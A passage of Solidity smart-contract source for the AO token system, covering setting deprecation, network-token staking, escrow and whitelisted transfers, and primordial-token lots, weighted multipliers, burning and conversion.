_newSettingContractAddress = _settingDeprecation.pendingNewSettingContractAddress; _settingDeprecation.pendingNewSettingContractAddress = address(0); _settingDeprecation.newSettingContractAddress = _newSettingContractAddress; return true; } /** * @dev Check if a setting exist and not rejected * @param _settingId The ID of the setting * @return true if exist. false otherwise */ function settingExist(uint256 _settingId) public view returns (bool) { SettingData memory _settingData = settingDatas[_settingId]; return (_settingData.settingId == _settingId && _settingData.rejected == false); } /** * @dev Get the latest ID of a deprecated setting, if exist * @param _settingId The ID of the setting * @return The latest setting ID */ function getLatestSettingId(uint256 _settingId) public view returns (uint256) { (,,,,,,, bool _migrated,, uint256 _newSettingId,,) = getSettingDeprecation(_settingId); while (_migrated && _newSettingId > 0) { _settingId = _newSettingId; (,,,,,,, _migrated,, _newSettingId,,) = getSettingDeprecation(_settingId); } return _settingId; } /***** Internal Method *****/ /** * @dev Store setting data/state * @param _settingId The ID of the setting * @param _creatorNameId The nameId that created the setting * @param _settingType The type of this setting. 1 => uint256, 2 => bool, 3 => address, 4 => bytes32, 5 => string * @param _settingName The human-readable name of the setting * @param _creatorTAOId The taoId that created the setting * @param _associatedTAOId The taoId that the setting affects * @param _extraData Catch-all string value to be stored if exist * @return true on success */ function _storeSettingDataState(uint256 _settingId, address _creatorNameId, uint8 _settingType, string _settingName, address _creatorTAOId, address _associatedTAOId, string _extraData) internal returns (bool) { // Store setting data SettingData storage _settingData = settingDatas[_settingId]; _settingData.settingId = _settingId; _settingData.creatorNameId = _creatorNameId; _settingData.creatorTAOId = _creatorTAOId; _settingData.associatedTAOId = _associatedTAOId; _settingData.settingName = _settingName; _settingData.settingType = _settingType; _settingData.pendingCreate = true; _settingData.locked = true; _settingData.settingDataJSON = _extraData; // Store setting state SettingState storage _settingState = settingStates[_settingId]; _settingState.settingId = _settingId; return true; } /** * @dev Store setting deprecation * @param _settingId The ID of the setting * @param _creatorNameId The nameId that created the setting * @param _creatorTAOId The taoId that created the setting * @param _associatedTAOId The taoId that the setting affects * @param _newSettingId The new settingId value to route * @param _newSettingContractAddress The address of the new setting contract to route * @return true on success */ function _storeSettingDeprecation(uint256 _settingId, address _creatorNameId, address _creatorTAOId, address _associatedTAOId, uint256 _newSettingId, address _newSettingContractAddress) internal returns (bool) { // Make sure this setting exists require (settingDatas[_settingId].creatorNameId != address(0) && settingDatas[_settingId].rejected == false && settingDatas[_settingId].pendingCreate == false); // Make sure deprecation is not yet exist for this setting Id require (settingDeprecations[_settingId].creatorNameId == address(0)); // Make sure newSettingId exists require (settingDatas[_newSettingId].creatorNameId != address(0) && settingDatas[_newSettingId].rejected == false && settingDatas[_newSettingId].pendingCreate == false); // Make sure the settingType matches require (settingDatas[_settingId].settingType == settingDatas[_newSettingId].settingType); // Store setting deprecation info SettingDeprecation storage _settingDeprecation = settingDeprecations[_settingId]; _settingDeprecation.settingId = _settingId; _settingDeprecation.creatorNameId = _creatorNameId; _settingDeprecation.creatorTAOId = _creatorTAOId; _settingDeprecation.associatedTAOId = _associatedTAOId; _settingDeprecation.pendingDeprecated = true; _settingDeprecation.locked = true; _settingDeprecation.pendingNewSettingId = _newSettingId; _settingDeprecation.pendingNewSettingContractAddress = _newSettingContractAddress; return true; } } /** * @title AOTokenInterface */ contract AOTokenInterface is TheAO, TokenERC20 { using SafeMath for uint256; // To differentiate denomination of AO uint256 public powerOfTen; /***** NETWORK TOKEN VARIABLES *****/ uint256 public sellPrice; uint256 public buyPrice; mapping (address => bool) public frozenAccount; mapping (address => uint256) public stakedBalance; mapping (address => uint256) public escrowedBalance; // This generates a public event on the blockchain that will notify clients event FrozenFunds(address target, bool frozen); event Stake(address indexed from, uint256 value); event Unstake(address indexed from, uint256 value); event Escrow(address indexed from, address indexed to, uint256 value); event Unescrow(address indexed from, uint256 value); /** * @dev Constructor function */ constructor(uint256 initialSupply, string tokenName, string tokenSymbol) TokenERC20(initialSupply, tokenName, tokenSymbol) public { powerOfTen = 0; decimals = 0; } /** * @dev Checks if the calling contract address is The AO * OR * If The AO is set to a Name/TAO, then check if calling address is the Advocate */ modifier onlyTheAO { require (AOLibrary.isTheAO(msg.sender, theAO, nameTAOPositionAddress)); _; } /***** The AO ONLY METHODS *****/ /** * @dev The AO set the NameTAOPosition Address * @param _nameTAOPositionAddress The address of NameTAOPosition */ function setNameTAOPositionAddress(address _nameTAOPositionAddress) public onlyTheAO { require (_nameTAOPositionAddress != address(0)); nameTAOPositionAddress = _nameTAOPositionAddress; } /** * @dev Transfer ownership of The AO to new address * @param _theAO The new address to be transferred */ function transferOwnership(address _theAO) public onlyTheAO { require (_theAO != address(0)); theAO = _theAO; } /** * @dev Whitelist `_account` address to transact on behalf of others * @param _account The address to whitelist * @param _whitelist Either to whitelist or not */ function setWhitelist(address _account, bool _whitelist) public onlyTheAO { require (_account != address(0)); whitelist[_account] = _whitelist; } /** * @dev Prevent/Allow target from sending & receiving tokens * @param target Address to be frozen * @param freeze Either to freeze it or not */ function freezeAccount(address target, bool freeze) public onlyTheAO { frozenAccount[target] = freeze; emit FrozenFunds(target, freeze); } /** * @dev Allow users to buy tokens for `newBuyPrice` eth and sell tokens for `newSellPrice` eth * @param newSellPrice Price users can sell to the contract * @param newBuyPrice Price users can buy from the contract */ function setPrices(uint256 newSellPrice, uint256 newBuyPrice) public onlyTheAO { sellPrice = newSellPrice; buyPrice = newBuyPrice; } /***** NETWORK TOKEN WHITELISTED ADDRESS ONLY METHODS *****/ /** * @dev Create `mintedAmount` tokens and send it to `target` * @param target Address to receive the tokens * @param mintedAmount The amount of tokens it will receive * @return true on success */ function mintToken(address target, uint256 mintedAmount) public inWhitelist returns (bool) { _mintToken(target, mintedAmount); return true; } /** * @dev Stake `_value` tokens on behalf of `_from` * @param _from The address of the target * @param _value The amount to stake * @return true on success */ function stakeFrom(address _from, uint256 _value) public inWhitelist returns (bool) { require (balanceOf[_from] >= _value); // Check if the targeted balance is enough balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the targeted balance stakedBalance[_from] = stakedBalance[_from].add(_value); // Add to the targeted staked balance emit Stake(_from, _value); return true; } /** * @dev Unstake `_value` tokens on behalf of `_from` * @param _from The address of the target * @param _value The amount to unstake * @return true on success */ function unstakeFrom(address _from, uint256 _value) public inWhitelist returns (bool) { require (stakedBalance[_from] >= _value); // Check if the targeted staked balance is enough stakedBalance[_from] = stakedBalance[_from].sub(_value); // Subtract from the targeted staked balance balanceOf[_from] = balanceOf[_from].add(_value); // Add to the targeted balance emit Unstake(_from, _value); return true; } /** * @dev Store `_value` from `_from` to `_to` in escrow * @param _from The address of the sender * @param _to The address of the recipient * @param _value The amount of network tokens to put in escrow * @return true on success */ function escrowFrom(address _from, address _to, uint256 _value) public inWhitelist returns (bool) { require (balanceOf[_from] >= _value); // Check if the targeted balance is enough balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the targeted balance escrowedBalance[_to] = escrowedBalance[_to].add(_value); // Add to the targeted escrowed balance emit Escrow(_from, _to, _value); return true; } /** * @dev Create `mintedAmount` tokens and send it to `target` escrow balance * @param target Address to receive the tokens * @param mintedAmount The amount of tokens it will receive in escrow */ function mintTokenEscrow(address target, uint256 mintedAmount) public inWhitelist returns (bool) { escrowedBalance[target] = escrowedBalance[target].add(mintedAmount); totalSupply = totalSupply.add(mintedAmount); emit Escrow(this, target, mintedAmount); return true; } /** * @dev Release escrowed `_value` from `_from` * @param _from The address of the sender * @param _value The amount of escrowed network tokens to be released * @return true on success */ function unescrowFrom(address _from, uint256 _value) public inWhitelist returns (bool) { require (escrowedBalance[_from] >= _value); // Check if the targeted escrowed balance is enough escrowedBalance[_from] = escrowedBalance[_from].sub(_value); // Subtract from the targeted escrowed balance balanceOf[_from] = balanceOf[_from].add(_value); // Add to the targeted balance emit Unescrow(_from, _value); return true; } /** * * @dev Whitelisted address remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function whitelistBurnFrom(address _from, uint256 _value) public inWhitelist returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the targeted balance totalSupply = totalSupply.sub(_value); // Update totalSupply emit Burn(_from, _value); return true; } /** * @dev Whitelisted address transfer tokens from other address * * Send `_value` tokens to `_to` on behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function whitelistTransferFrom(address _from, address _to, uint256 _value) public inWhitelist returns (bool success) { _transfer(_from, _to, _value); return true; } /***** PUBLIC METHODS *****/ /** * @dev Buy tokens from contract by sending ether */ function buy() public payable { require (buyPrice > 0); uint256 amount = msg.value.div(buyPrice); _transfer(this, msg.sender, amount); } /** * @dev Sell `amount` tokens to contract * @param amount The amount of tokens to be sold */ function sell(uint256 amount) public { require (sellPrice > 0); address myAddress = this; require (myAddress.balance >= amount.mul(sellPrice)); _transfer(msg.sender, this, amount); msg.sender.transfer(amount.mul(sellPrice)); } /***** INTERNAL METHODS *****/ /** * @dev Send `_value` tokens from `_from` to `_to` * @param _from The address of sender * @param _to The address of the recipient * @param _value The amount to send */ function _transfer(address _from, address _to, uint256 _value) internal { require (_to != address(0)); // Prevent transfer to 0x0 address. Use burn() instead require (balanceOf[_from] >= _value); // Check if the sender has enough require (balanceOf[_to].add(_value) >= balanceOf[_to]); // Check for overflows require (!frozenAccount[_from]); // Check if sender is frozen require (!frozenAccount[_to]); // Check if recipient is frozen uint256 previousBalances = balanceOf[_from].add(balanceOf[_to]); balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the sender balanceOf[_to] = balanceOf[_to].add(_value); // Add the same to the recipient emit Transfer(_from, _to, _value); assert(balanceOf[_from].add(balanceOf[_to]) == previousBalances); } /** * @dev Create `mintedAmount` tokens and send it to `target` * @param target Address to receive the tokens * @param mintedAmount The amount of tokens it will receive */ function _mintToken(address target, uint256 mintedAmount) internal { balanceOf[target] = balanceOf[target].add(mintedAmount); totalSupply = totalSupply.add(mintedAmount); emit Transfer(0, this, mintedAmount); emit Transfer(this, target, mintedAmount); } } /** * @title AOToken */ contract AOToken is AOTokenInterface { using SafeMath for uint256; address public settingTAOId; address public aoSettingAddress; // AO Dev Team addresses to receive Primordial/Network Tokens address public aoDevTeam1 = 0x5C63644D01Ba385eBAc5bcf2DDc1e6dBC1182b52; address public aoDevTeam2 = 0x156C79bf4347D1891da834Ea30662A14177CbF28; AOSetting internal _aoSetting; /***** PRIMORDIAL TOKEN VARIABLES *****/ uint256 public primordialTotalSupply; uint256 public primordialTotalBought; uint256 public primordialSellPrice; uint256 public primordialBuyPrice; // Total available primordial token for sale 1,125,899,906,842,620 AO+ uint256 constant public TOTAL_PRIMORDIAL_FOR_SALE = 1125899906842620; mapping (address => uint256) public primordialBalanceOf; mapping (address => mapping (address => uint256)) public primordialAllowance; // Mapping from owner's lot weighted multiplier to the amount of staked tokens mapping (address => mapping (uint256 => uint256)) public primordialStakedBalance; event PrimordialTransfer(address indexed from, address indexed to, uint256 value); event PrimordialApproval(address indexed _owner, address indexed _spender, uint256 _value); event PrimordialBurn(address indexed from, uint256 value); event PrimordialStake(address indexed from, uint256 value, uint256 weightedMultiplier); event PrimordialUnstake(address indexed from, uint256 value, uint256 weightedMultiplier); uint256 public totalLots; uint256 public totalBurnLots; uint256 public totalConvertLots; bool public networkExchangeEnded; /** * Stores Lot creation data (during network exchange) */ struct Lot { bytes32 lotId; uint256 multiplier; // This value is in 10^6, so 1000000 = 1 address lotOwner; uint256 tokenAmount; } /** * Struct to store info when account burns primordial token */ struct BurnLot { bytes32 burnLotId; address lotOwner; uint256 tokenAmount; } /** * Struct to store info when account converts network token to primordial token */ struct ConvertLot { bytes32 convertLotId; address lotOwner; uint256 tokenAmount; } // Mapping from Lot ID to Lot object mapping (bytes32 => Lot) internal lots; // Mapping from Burn Lot ID to BurnLot object mapping (bytes32 => BurnLot) internal burnLots; // Mapping from Convert Lot ID to ConvertLot object mapping (bytes32 => ConvertLot) internal convertLots; // Mapping from owner to list of owned lot IDs mapping (address => bytes32[]) internal ownedLots; // Mapping from owner to list of owned burn lot IDs mapping (address => bytes32[]) internal ownedBurnLots; // Mapping from owner to list of owned convert lot IDs mapping (address => bytes32[]) internal ownedConvertLots; // Mapping from owner to his/her current weighted multiplier mapping (address => uint256) internal ownerWeightedMultiplier; // Mapping from owner to his/her max multiplier (multiplier of account's first Lot) mapping (address => uint256) internal ownerMaxMultiplier; // Event to be broadcasted to public when a lot is created // multiplier value is in 10^6 to account for 6 decimal points event LotCreation(address indexed lotOwner, bytes32 indexed lotId, uint256 multiplier, uint256 primordialTokenAmount, uint256 networkTokenBonusAmount); // Event to be broadcasted to public when burn lot is created (when account burns primordial tokens) event BurnLotCreation(address indexed lotOwner, bytes32 indexed burnLotId, uint256 burnTokenAmount, uint256 multiplierAfterBurn); // Event to be broadcasted to public when convert lot is created (when account convert network tokens to primordial tokens) event ConvertLotCreation(address indexed lotOwner, bytes32 indexed convertLotId, uint256 convertTokenAmount, uint256 multiplierAfterBurn); /** * @dev Constructor function */ constructor(uint256 initialSupply, string tokenName, string tokenSymbol, address _settingTAOId, address _aoSettingAddress) AOTokenInterface(initialSupply, tokenName, tokenSymbol) public { settingTAOId = _settingTAOId; aoSettingAddress = _aoSettingAddress; _aoSetting = AOSetting(_aoSettingAddress); powerOfTen = 0; decimals = 0; setPrimordialPrices(0, 10000); // Set Primordial buy price to 10000 Wei/token } /** * @dev Checks if buyer can buy primordial token */ modifier canBuyPrimordial(uint256 _sentAmount) { require (networkExchangeEnded == false && primordialTotalBought < TOTAL_PRIMORDIAL_FOR_SALE && primordialBuyPrice > 0 && _sentAmount > 0); _; } /***** The AO ONLY METHODS *****/ /** * @dev Set AO Dev team addresses to receive Primordial/Network tokens during network exchange * @param _aoDevTeam1 The first AO dev team address * @param _aoDevTeam2 The second AO dev team address */ function setAODevTeamAddresses(address _aoDevTeam1, address _aoDevTeam2) public onlyTheAO { aoDevTeam1 = _aoDevTeam1; aoDevTeam2 = _aoDevTeam2; } /***** PRIMORDIAL TOKEN The AO ONLY METHODS *****/ /** * @dev Allow users to buy Primordial tokens for `newBuyPrice` eth and sell Primordial tokens for `newSellPrice` eth * @param newPrimordialSellPrice Price users can sell to the contract * @param newPrimordialBuyPrice Price users can buy from the contract */ function setPrimordialPrices(uint256 newPrimordialSellPrice, uint256 newPrimordialBuyPrice) public onlyTheAO { primordialSellPrice = newPrimordialSellPrice; primordialBuyPrice = newPrimordialBuyPrice; } /***** PRIMORDIAL TOKEN WHITELISTED ADDRESS ONLY METHODS *****/ /** * @dev Stake `_value` Primordial tokens at `_weightedMultiplier ` multiplier on behalf of `_from` * @param _from The address of the target * @param _value The amount of Primordial tokens to stake * @param _weightedMultiplier The weighted multiplier of the Primordial tokens * @return true on success */ function stakePrimordialTokenFrom(address _from, uint256 _value, uint256 _weightedMultiplier) public inWhitelist returns (bool) { // Check if the targeted balance is enough require (primordialBalanceOf[_from] >= _value); // Make sure the weighted multiplier is the same as account's current weighted multiplier require (_weightedMultiplier == ownerWeightedMultiplier[_from]); // Subtract from the targeted balance primordialBalanceOf[_from] = primordialBalanceOf[_from].sub(_value); // Add to the targeted staked balance primordialStakedBalance[_from][_weightedMultiplier] = primordialStakedBalance[_from][_weightedMultiplier].add(_value); emit PrimordialStake(_from, _value, _weightedMultiplier); return true; } /** * @dev Unstake `_value` Primordial tokens at `_weightedMultiplier` on behalf of `_from` * @param _from The address of the target * @param _value The amount to unstake * @param _weightedMultiplier The weighted multiplier of the Primordial tokens * @return true on success */ function unstakePrimordialTokenFrom(address _from, uint256 _value, uint256 _weightedMultiplier) public inWhitelist returns (bool) { // Check if the targeted staked balance is enough require (primordialStakedBalance[_from][_weightedMultiplier] >= _value); // Subtract from the targeted staked balance primordialStakedBalance[_from][_weightedMultiplier] = primordialStakedBalance[_from][_weightedMultiplier].sub(_value); // Add to the targeted balance primordialBalanceOf[_from] = primordialBalanceOf[_from].add(_value); emit PrimordialUnstake(_from, _value, _weightedMultiplier); return true; } /** * @dev Send `_value` primordial tokens to `_to` on behalf of `_from` * @param _from The address of the sender * @param _to The address of the recipient * @param _value The amount to send * @return true on success */ function whitelistTransferPrimordialTokenFrom(address _from, address _to, uint256 _value) public inWhitelist returns (bool) { bytes32 _createdLotId = _createWeightedMultiplierLot(_to, _value, ownerWeightedMultiplier[_from]); Lot memory _lot = lots[_createdLotId]; // Make sure the new lot is created successfully require (_lot.lotOwner == _to); // Update the weighted multiplier of the recipient ownerWeightedMultiplier[_to] = AOLibrary.calculateWeightedMultiplier(ownerWeightedMultiplier[_to], primordialBalanceOf[_to], ownerWeightedMultiplier[_from], _value); // Transfer the Primordial tokens require (_transferPrimordialToken(_from, _to, _value)); emit LotCreation(_lot.lotOwner, _lot.lotId, _lot.multiplier, _lot.tokenAmount, 0); return true; } /***** PUBLIC METHODS *****/ /***** Primordial TOKEN PUBLIC METHODS *****/ /** * @dev Buy Primordial tokens from contract by sending ether */ function buyPrimordialToken() public payable canBuyPrimordial(msg.value) { (uint256 tokenAmount, uint256 remainderBudget, bool shouldEndNetworkExchange) = _calculateTokenAmountAndRemainderBudget(msg.value); require (tokenAmount > 0); // Ends network exchange if necessary if (shouldEndNetworkExchange) { networkExchangeEnded = true; } // Send the primordial token to buyer and reward AO devs _sendPrimordialTokenAndRewardDev(tokenAmount, msg.sender); // Send remainder budget back to buyer if exist if (remainderBudget > 0) { msg.sender.transfer(remainderBudget); } } /** * @dev Send `_value` Primordial tokens to `_to` from your account * @param _to The address of the recipient * @param _value The amount to send * @return true on success */ function transferPrimordialToken(address _to, uint256 _value) public returns (bool success) { bytes32 _createdLotId = _createWeightedMultiplierLot(_to, _value, ownerWeightedMultiplier[msg.sender]); Lot memory _lot = lots[_createdLotId]; // Make sure the new lot is created successfully require (_lot.lotOwner == _to); // Update the weighted multiplier of the recipient ownerWeightedMultiplier[_to] = AOLibrary.calculateWeightedMultiplier(ownerWeightedMultiplier[_to], primordialBalanceOf[_to], ownerWeightedMultiplier[msg.sender], _value); // Transfer the Primordial tokens require (_transferPrimordialToken(msg.sender, _to, _value)); emit LotCreation(_lot.lotOwner, _lot.lotId, _lot.multiplier, _lot.tokenAmount, 0); return true; } /** * @dev Send `_value` Primordial tokens to `_to` from `_from` * @param _from The address of the sender * @param _to The address of the recipient * @param _value The amount to send * @return true on success */ function transferPrimordialTokenFrom(address _from, address _to, uint256 _value) public returns (bool success) { require (_value <= primordialAllowance[_from][msg.sender]); primordialAllowance[_from][msg.sender] = primordialAllowance[_from][msg.sender].sub(_value); bytes32 _createdLotId = _createWeightedMultiplierLot(_to, _value, ownerWeightedMultiplier[_from]); Lot memory _lot = lots[_createdLotId]; // Make sure the new lot is created successfully require (_lot.lotOwner == _to); // Update the weighted multiplier of the recipient ownerWeightedMultiplier[_to] = AOLibrary.calculateWeightedMultiplier(ownerWeightedMultiplier[_to], primordialBalanceOf[_to], ownerWeightedMultiplier[_from], _value); // Transfer the Primordial tokens require (_transferPrimordialToken(_from, _to, _value)); emit LotCreation(_lot.lotOwner, _lot.lotId, _lot.multiplier, _lot.tokenAmount, 0); return true; } /** * @dev Allows `_spender` to spend no more than `_value` Primordial tokens in your behalf * @param _spender The address authorized to spend * @param _value The max amount they can spend * @return true on success */ function approvePrimordialToken(address _spender, uint256 _value) public returns (bool success) { primordialAllowance[msg.sender][_spender] = _value; emit PrimordialApproval(msg.sender, _spender, _value); return true; } /** * @dev Allows `_spender` to spend no more than `_value` Primordial tokens in your behalf, and then ping the contract about it * @param _spender The address authorized to spend * @param _value The max amount they can spend * @param _extraData some extra information to send to the approved contract * @return true on success */ function approvePrimordialTokenAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approvePrimordialToken(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /** * @dev Remove `_value` Primordial tokens from the system irreversibly * and re-weight the account's multiplier after burn * @param _value The amount to burn * @return true on success */ function burnPrimordialToken(uint256 _value) public returns (bool success) { require (primordialBalanceOf[msg.sender] >= _value); require (calculateMaximumBurnAmount(msg.sender) >= _value); // Update the account's multiplier ownerWeightedMultiplier[msg.sender] = calculateMultiplierAfterBurn(msg.sender, _value); primordialBalanceOf[msg.sender] = primordialBalanceOf[msg.sender].sub(_value); primordialTotalSupply = primordialTotalSupply.sub(_value); // Store burn lot info _createBurnLot(msg.sender, _value); emit PrimordialBurn(msg.sender, _value); return true; } /** * @dev Remove `_value` Primordial tokens from the system irreversibly on behalf of `_from` * and re-weight `_from`'s multiplier after burn * @param _from The address of sender * @param _value The amount to burn * @return true on success */ function burnPrimordialTokenFrom(address _from, uint256 _value) public returns (bool success) { require (primordialBalanceOf[_from] >= _value); require (primordialAllowance[_from][msg.sender] >= _value); require (calculateMaximumBurnAmount(_from) >= _value); // Update `_from`'s multiplier ownerWeightedMultiplier[_from] = calculateMultiplierAfterBurn(_from, _value); primordialBalanceOf[_from] = primordialBalanceOf[_from].sub(_value); primordialAllowance[_from][msg.sender] = primordialAllowance[_from][msg.sender].sub(_value); primordialTotalSupply = primordialTotalSupply.sub(_value); // Store burn lot info _createBurnLot(_from, _value); emit PrimordialBurn(_from, _value); return true; } /** * @dev Return all lot IDs owned by an address * @param _lotOwner The address of the lot owner * @return array of lot IDs */ function lotIdsByAddress(address _lotOwner) public view returns (bytes32[]) { return ownedLots[_lotOwner]; } /** * @dev Return the total lots owned by an address * @param _lotOwner The address of the lot owner * @return total lots owner by the address */ function totalLotsByAddress(address _lotOwner) public view returns (uint256) { return ownedLots[_lotOwner].length; } /** * @dev Return the lot information at a given index of the lots list of the requested owner * @param _lotOwner The address owning the lots list to be accessed * @param _index uint256 representing the index to be accessed of the requested lots list * @return id of the lot * @return The address of the lot owner * @return multiplier of the lot in (10 ** 6) * @return Primordial token amount in the lot */ function lotOfOwnerByIndex(address _lotOwner, uint256 _index) public view returns (bytes32, address, uint256, uint256) { require (_index < ownedLots[_lotOwner].length); Lot memory _lot = lots[ownedLots[_lotOwner][_index]]; return (_lot.lotId, _lot.lotOwner, _lot.multiplier, _lot.tokenAmount); } /** * @dev Return the lot information at a given ID * @param _lotId The lot ID in question * @return id of the lot * @return The lot owner address * @return multiplier of the lot in (10 ** 6) * @return Primordial token amount in the lot */ function lotById(bytes32 _lotId) public view returns (bytes32, address, uint256, uint256) { Lot memory _lot = lots[_lotId]; return (_lot.lotId, _lot.lotOwner, _lot.multiplier, _lot.tokenAmount); } /** * @dev Return all Burn Lot IDs owned by an address * @param _lotOwner The address of the burn lot owner * @return array of Burn Lot IDs */ function burnLotIdsByAddress(address _lotOwner) public view returns (bytes32[]) { return ownedBurnLots[_lotOwner]; } /** * @dev Return the total burn lots owned by an address * @param _lotOwner The address of the burn lot owner * @return total burn lots owner by the address */ function totalBurnLotsByAddress(address _lotOwner) public view returns (uint256) { return ownedBurnLots[_lotOwner].length; } /** * @dev Return the burn lot information at a given ID * @param _burnLotId The burn lot ID in question * @return id of the lot * @return The address of the burn lot owner * @return Primordial token amount in the burn lot */ function burnLotById(bytes32 _burnLotId) public view returns (bytes32, address, uint256) { BurnLot memory _burnLot = burnLots[_burnLotId]; return (_burnLot.burnLotId, _burnLot.lotOwner, _burnLot.tokenAmount); } /** * @dev Return all Convert Lot IDs owned by an address * @param _lotOwner The address of the convert lot owner * @return array of Convert Lot IDs */ function convertLotIdsByAddress(address _lotOwner) public view returns (bytes32[]) { return ownedConvertLots[_lotOwner]; } /** * @dev Return the total convert lots owned by an address * @param _lotOwner The address of the convert lot owner * @return total convert lots owner by the address */ function totalConvertLotsByAddress(address _lotOwner) public view returns (uint256) { return ownedConvertLots[_lotOwner].length; } /** * @dev Return the convert lot information at a given ID * @param _convertLotId The convert lot ID in question * @return id of the lot * @return The address of the convert lot owner * @return Primordial token amount in the convert lot */ function convertLotById(bytes32 _convertLotId) public view returns (bytes32, address, uint256) { ConvertLot memory _convertLot = convertLots[_convertLotId]; return (_convertLot.convertLotId, _convertLot.lotOwner, _convertLot.tokenAmount); } /** * @dev Return the average weighted multiplier of all lots owned by an address * @param _lotOwner The address of the lot owner * @return the weighted multiplier of the address (in 10 ** 6) */ function weightedMultiplierByAddress(address _lotOwner) public view returns (uint256) { return ownerWeightedMultiplier[_lotOwner]; } /** * @dev Return the max multiplier of an address * @param _target The address to query * @return the max multiplier of the address (in 10 ** 6) */ function maxMultiplierByAddress(address _target) public view returns (uint256) { return (ownedLots[_target].length > 0) ? ownerMaxMultiplier[_target] : 0; } /** * @dev Calculate the primordial token multiplier, bonus network token percentage, and the * bonus network token amount on a given lot when someone purchases primordial token * during network exchange * @param _purchaseAmount The amount of primordial token intended to be purchased * @return The multiplier in (10 ** 6) * @return The bonus percentage * @return The amount of network token as bonus */ function calculateMultiplierAndBonus(uint256 _purchaseAmount) public view returns (uint256, uint256, uint256) { (uint256 startingPrimordialMultiplier, uint256 endingPrimordialMultiplier, uint256 startingNetworkTokenBonusMultiplier, uint256 endingNetworkTokenBonusMultiplier) = _getSettingVariables(); return ( AOLibrary.calculatePrimordialMultiplier(_purchaseAmount, TOTAL_PRIMORDIAL_FOR_SALE, primordialTotalBought, startingPrimordialMultiplier, endingPrimordialMultiplier), AOLibrary.calculateNetworkTokenBonusPercentage(_purchaseAmount, TOTAL_PRIMORDIAL_FOR_SALE, primordialTotalBought, startingNetworkTokenBonusMultiplier, endingNetworkTokenBonusMultiplier), AOLibrary.calculateNetworkTokenBonusAmount(_purchaseAmount, TOTAL_PRIMORDIAL_FOR_SALE, primordialTotalBought, startingNetworkTokenBonusMultiplier, endingNetworkTokenBonusMultiplier) ); } /** * @dev Calculate the maximum amount of Primordial an account can burn * @param _account The address of the account * @return The maximum primordial token amount to burn */ function calculateMaximumBurnAmount(address _account) public view returns (uint256) { return AOLibrary.calculateMaximumBurnAmount(primordialBalanceOf[_account], ownerWeightedMultiplier[_account], ownerMaxMultiplier[_account]); } /** * @dev Calculate account's new multiplier after burn `_amountToBurn` primordial tokens * @param _account The address of the account * @param _amountToBurn The amount of primordial token to burn * @return The new multiplier in (10 ** 6) */ function calculateMultiplierAfterBurn(address _account, uint256 _amountToBurn) public view returns (uint256) { require (calculateMaximumBurnAmount(_account) >= _amountToBurn); return AOLibrary.calculateMultiplierAfterBurn(primordialBalanceOf[_account], ownerWeightedMultiplier[_account], _amountToBurn); } /** * @dev Calculate account's new multiplier after converting `amountToConvert` network token to primordial token * @param _account The address of the account * @param _amountToConvert The amount of network token to convert * @return The new multiplier in (10 ** 6) */ function calculateMultiplierAfterConversion(address _account, uint256 _amountToConvert) public view returns (uint256) { return AOLibrary.calculateMultiplierAfterConversion(primordialBalanceOf[_account], ownerWeightedMultiplier[_account], _amountToConvert); } /** * @dev Convert `_value` of network tokens to primordial tokens * and re-weight the account's multiplier after conversion * @param _value The amount to convert * @return true on success */ function convertToPrimordial(uint256 _value) public returns (bool success) { require (balanceOf[msg.sender] >= _value); // Update the account's multiplier ownerWeightedMultiplier[msg.sender] = calculateMultiplierAfterConversion(msg.sender, _value); // Burn network token burn(_value); // mint primordial token _mintPrimordialToken(msg.sender, _value); // Store convert lot info totalConvertLots++; // Generate convert lot Id bytes32 convertLotId = keccak256(abi.encodePacked(this, msg.sender, totalConvertLots)); // Make sure no one owns this lot yet require (convertLots[convertLotId].lotOwner == address(0)); ConvertLot storage convertLot = convertLots[convertLotId]; convertLot.convertLotId = convertLotId; convertLot.lotOwner = msg.sender; convertLot.tokenAmount = _value; ownedConvertLots[msg.sender].push(convertLotId); emit ConvertLotCreation(convertLot.lotOwner, convertLot.convertLotId, convertLot.tokenAmount, ownerWeightedMultiplier[convertLot.lotOwner]); return true; } /***** NETWORK TOKEN & PRIMORDIAL TOKEN METHODS *****/ /** * @dev Send `_value` network tokens and `_primordialValue` primordial tokens to `_to` from your account * @param _to The address of the recipient * @param _value The amount of network tokens to send * @param _primordialValue The amount of Primordial tokens to send * @return true on success */ function transferTokens(address _to, uint256 _value, uint256 _primordialValue) public returns (bool success) { require (super.transfer(_to, _value)); require (transferPrimordialToken(_to, _primordialValue)); return true; } /** * @dev Send `_value` network tokens and `_primordialValue` primordial tokens to `_to` from `_from` * @param _from The address of the sender * @param _to The address of the recipient * @param _value The amount of network tokens tokens to send * @param _primordialValue The amount of Primordial tokens to send * @return true on success */ function transferTokensFrom(address _from, address _to, uint256 _value, uint256 _primordialValue) public returns (bool success) { require (super.transferFrom(_from, _to, _value)); require (transferPrimordialTokenFrom(_from, _to, _primordialValue)); return true; } /** * @dev Allows `_spender` to spend no more than `_value` network tokens and `_primordialValue` Primordial tokens in your behalf * @param _spender The address authorized to spend * @param _value The max amount of network tokens they can spend * @param _primordialValue The max amount of network tokens they can spend * @return true on success */ function approveTokens(address _spender, uint256 _value, uint256 _primordialValue) public returns (bool success) { require (super.approve(_spender, _value)); require (approvePrimordialToken(_spender, _primordialValue)); return true; } /** * @dev Allows `_spender` to spend no more than `_value` network tokens and `_primordialValue` Primordial tokens in your behalf, and then ping the contract about it * @param _spender The address authorized to spend * @param _value The max amount of network tokens they can spend * @param _primordialValue The max amount of Primordial Tokens they can spend * @param _extraData some extra information to send to the approved contract * @return true on success */ function approveTokensAndCall(address _spender, uint256 _value, uint256 _primordialValue, bytes _extraData) public returns (bool success) { require (super.approveAndCall(_spender, _value, _extraData)); require (approvePrimordialTokenAndCall(_spender, _primordialValue, _extraData)); return true; } /** * @dev Remove `_value` network tokens and `_primordialValue` Primordial tokens from the system irreversibly * @param _value The amount of network tokens to burn * @param _primordialValue The amount of Primordial tokens to burn * @return true on success */ function burnTokens(uint256 _value, uint256 _primordialValue) public returns (bool success) { require (super.burn(_value)); 